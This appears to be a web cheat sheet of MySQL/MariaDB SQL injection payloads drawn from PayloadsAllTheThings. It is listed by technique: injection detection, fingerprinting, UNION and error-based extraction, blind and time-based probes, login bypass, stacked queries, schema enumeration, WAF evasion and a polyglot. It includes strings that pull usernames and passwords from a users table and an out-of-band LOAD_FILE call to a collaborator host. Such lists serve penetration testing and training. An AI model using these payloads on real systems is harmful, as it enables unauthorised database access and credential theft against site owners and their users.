Single quote probe
Entry point detection
'-- Trigger SQL syntax errors to confirm injection.
PayloadsAllTheThings referenceThese MySQL (and MariaDB) SQL injection payloads cover the full workflow: detection, fingerprinting, UNION and error-based extraction (extractvalue / updatexml), boolean and time-based blind (SLEEP, BENCHMARK), stacked queries, WAF bypass and schema enumeration via information_schema.
Focused page: MySQL / MariaDB Boolean-Based Blind SQL Injection Payloads.
Entry point detection
'-- Trigger SQL syntax errors to confirm injection.
PayloadsAllTheThings referenceEntry point detection
' OR '1'='1-- Classic always-true condition (string context).
PayloadsAllTheThings referenceEntry point detection
' AND '1'='2-- Compare response with true condition.
PayloadsAllTheThings referenceEntry point detection
' OR 1=1-- For numeric parameters: ?id=1 OR 1=1
PayloadsAllTheThings referenceEntry point detection
' AND 1=2-- For numeric parameters: ?id=1 AND 1=2
PayloadsAllTheThings referenceEntry point detection
'+'-- MySQL string concatenation via + operator.
PayloadsAllTheThings referenceEntry point detection
'||'-- Alternative merge / OR bypass.
PayloadsAllTheThings referenceDBMS identification
' AND conv('a',16,2)=conv('a',16,2)-- Keyword-based DBMS fingerprint (PAT table).
PayloadsAllTheThings referenceDBMS identification
' AND connection_id()=connection_id()-- Keyword-based DBMS fingerprint (PAT table).
PayloadsAllTheThings referenceDBMS identification
' AND crc32('MySQL')=crc32('MySQL')-- Keyword-based DBMS fingerprint (PAT table).
PayloadsAllTheThings referenceUNION-based
' ORDER BY 1-- Find column count for UNION.
PayloadsAllTheThings referenceUNION-based
' ORDER BY 2-- Find column count for UNION.
PayloadsAllTheThings referenceUNION-based
' UNION SELECT NULL, NULL-- Probe column count with NULL placeholders.
PayloadsAllTheThings referenceUNION-based
' UNION SELECT username, password FROM users LIMIT 1-- Column count must match original query. Reflect column 1 in the app response.
PayloadsAllTheThings referenceError-based
' AND extractvalue(1,concat(0x7e,(VERSION())))-- XPATH error-based extraction.
PayloadsAllTheThings referenceError-based
' AND updatexml(1,concat(0x7e,(VERSION())),1)-- XPATH error-based extraction.
PayloadsAllTheThings referenceBoolean blind
' AND 1=1-- Baseline true response.
PayloadsAllTheThings referenceBoolean blind
' AND 1=2-- Baseline false response.
PayloadsAllTheThings referenceBoolean blind
' AND LENGTH(VERSION())=N-- Replace N until response changes.
PayloadsAllTheThings referenceBoolean blind
' AND ASCII(SUBSTRING(VERSION(),1,1))=104-- Binary search ASCII at position 1 (configured: 104).
PayloadsAllTheThings referenceTime-based blind
' AND SLEEP(5)-- Observe response delay (~5s).
PayloadsAllTheThings referenceTime-based blind
' AND IF(SUBSTRING(VERSION(),1,1)='5',BENCHMARK(1000000,MD5(1)),0)-- Heavy query when condition is true.
PayloadsAllTheThings referenceTime-based blind
' AND (CASE WHEN (SUBSTRING(VERSION(),1,1))='5' THEN (SLEEP(5)) ELSE 0 END)-- Delay when char at position 1 equals 5.
PayloadsAllTheThings referenceAuthentication bypass
' OR '1'='1-- Bypass login; may return multiple rows.
PayloadsAllTheThings referenceAuthentication bypass
' OR 1=1 LIMIT 1-- Login as first user in result set.
PayloadsAllTheThings referenceAuthentication bypass
'admin'--Comment out password check (user: admin).
PayloadsAllTheThings referenceAuthentication bypass
'admin' AND 1=0 UNION ALL SELECT 'admin', '161ebd7d45089b3446ee4e0d86dbcf92'-- UNION login as admin with hash 161ebd7d45089b3446ee4e0d86dbcf92 (password column).
PayloadsAllTheThings referenceStacked queries
'; SELECT VERSION()-- Requires multi-statement support.
PayloadsAllTheThings referenceStacked queries
' AND LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')-- Out-of-band DNS lookup to collaborator.
PayloadsAllTheThings referenceEnumeration
' UNION SELECT VERSION(),NULL LIMIT 1-- Extract target expression via UNION.
PayloadsAllTheThings referenceEnumeration
' UNION SELECT database(),NULL LIMIT 1-- Current database name.
PayloadsAllTheThings referenceEnumeration
' UNION SELECT table_name,NULL FROM information_schema.tables LIMIT 1-- Set database name to filter schema.
PayloadsAllTheThings referenceEnumeration
' UNION SELECT user(),NULL-- MySQL current user.
PayloadsAllTheThings referenceWAF bypass
' OR 1=1 --%09 tab whitespace bypass.
PayloadsAllTheThings referenceWAF bypass
'/**/AND/**/1=1/**/--Break keywords with comments.
PayloadsAllTheThings referenceWAF bypass
'(1)and(1)=(1)--Avoid spaces via parentheses.
PayloadsAllTheThings referenceWAF bypass
' AND SUBSTRING(VERSION(),1,1) LIKE 5-- Equal sign filter bypass.
PayloadsAllTheThings referenceWAF bypass
' && 1=1-- Logical operator alias (MySQL).
PayloadsAllTheThings referencePolyglot
'SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/-- Works across quote contexts (PAT polyglot).
PayloadsAllTheThings reference